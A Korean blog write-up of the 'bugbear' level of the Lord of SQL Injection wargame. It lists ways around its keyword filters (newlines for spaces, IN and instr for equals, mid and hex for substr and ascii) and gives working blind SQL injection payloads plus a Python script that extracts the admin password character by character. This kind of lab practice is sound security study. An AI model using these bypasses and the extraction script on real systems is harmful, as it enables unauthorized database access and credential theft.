ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOS] 13. bugbear 문제 풀이
    Wargame/LOS (Lord of SQL Injection) 2019. 7. 19. 01:13

    bugbear

    no와 pw 2개의 인자를 GET 방식으로 입력받는다. pw에서는 싱글 쿼터(')를 필터링하고, no에서는 싱글쿼터('), substr 함수, ascii 함수, 등호(=), or, and, like, 0x, 공백까지 모두 필터링한다. 따라서 이 모든 필터링을 피해서 pw를 찾아내야 한다.

     

    우회 방법은 아래와 같다.

    • 공백 → \n (URL Encoding: %0a)
    • 등호(=), LIKE → instr 함수, IN 연산자, 부등호(<, >)
    • 싱글 쿼터(') → 더블 쿼터(")
    • ascii 함수 → ord 함수, hex 함수
    • substr 함수 → mid 함수
    • OR → ||
    • AND → && (URL Encoding: %26%26)

     

    instr 함수에 대한 설명은 아래를 참조하자.

     

    ...더보기

    instr 함수

    - 형식: int instr(string str, string substr)

    - 문자열 str 내에 substr이 존재할 때, 그 시작 위치를 반환한다. 만약 substr이 str 내에 존재하지 않으면 0을 반환한다.

    - 예시) instr("abcdefg", "bcd")

    - 리턴값) 2

     

    (출처: https://blog.habonyphp.com/entry/mysql-substr-%EC%9D%B4-%EA%B0%80%EB%A6%AC%ED%82%A4%EB%8A%94-%EC%9C%84%EC%B9%98%EB%A5%BC-%EB%B0%98%ED%99%98%ED%95%98%EB%8A%94-INSTR-%ED%95%A8%EC%88%98#.XTBnsfIzbtQ)


     

    등호(=) 대신 IN 연산자를 사용해 보았는데 정상적으로 잘 동작했다.

     

    no=1%0a||%0aid%0ain%0a("admin")

    id in ("admin")

     

    instr 함수가 먹히는지도 확인해보았는데 역시 정상적으로 잘 동작했다.

     

    no=1%0a||%0ainstr(id,"admin")

     

    instr(id,"admin")

     

    instr 함수와 length 함수를 이용하여 pw의 길이를 먼저 알아보자.

    length의 경우 리턴값이 정수이고 등호를 사용할 수 없기 때문에 부등호(>, <)로 대체하여 사용해야 한다.

     

    no=1%0a||%0aid%0ain%0a("admin")%0a%26%26%0alength(pw)>7%0a%26%26%0alength(pw)<9

     

    length(pw) = 8

     

    pw의 길이는 8이다.

     

    이제 실제 pw가 무엇인지 찾아보자.

    substr 함수 대신 mid 함수를 사용하고, ascii 함수 대신 hex 함수를 사용하여 pw를 찾아낸다.

    ord 함수가 아닌 hex 함수를 사용하는 이유는, preg_match 필터링 목록에 or 문자열이 포함되어 있어서, or 문자열을 포함하고 있는 ord 함수 역시 필터링에 걸리기 때문이다.

     

    hex 함수는 인자로 들어온 문자열을 헥사값으로 반환하기 때문에, 비교할 때에도 각 문자의 아스키코드 값을 16진수로 변환한 값을 사용해야 한다. 비교 연산자로는 IN을 사용하였다.

     

    no=1%0a||%0aid%0ain%0a("admin")%26%26%hex(mid(pw,1,1))%0ain%0a(hex(53))

     

     

    자동화 프로그램을 사용하여 pw를 찾아내자.

     

     

    pw는 52dc3991이므로 이를 인자로 입력하면 문제가 해결된다.

     

    BUGBEAR Clear!

     

    자동화 프로그램 코드는 아래와 같다.

    ...더보기

    자동화 프로그램 코드

    import re, urllib, urllib2
    
    pw=""
    ssid = "본인의 세션 아이디"
    print("find pw")
    
    for i in range(1, 9):
        for j in range(48, 123):
            url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=1||id%0ain%0a(%22admin%22)%26%26'
            url += "hex(mid(pw,"+str(i)+",1))%0ain%0a(hex("+str(j)+"))"
            req=urllib2.Request(url) # send request
            req.add_header('Cookie',"PHPSESSID=%s" % ssid)
            read = urllib2.urlopen(req).read()
    
            if "Hello admin" in read:
                pw += chr(j)
                print ("pw: " + pw)
                break
    
    print ("Fin")
    

     

    'Wargame > LOS (Lord of SQL Injection)' 카테고리의 다른 글

    [LOS] 15. assassin 문제 풀이  (0) 2019.07.19
    [LOS] 14. giant 문제 풀이  (0) 2019.07.19
    [LOS] 12. darkknight 문제 풀이  (0) 2019.07.18
    [LOS] 11. golem 문제 풀이  (0) 2019.07.18
    [LOS] 10. skeleton 문제 풀이  (0) 2019.07.17
Designed by Tistory.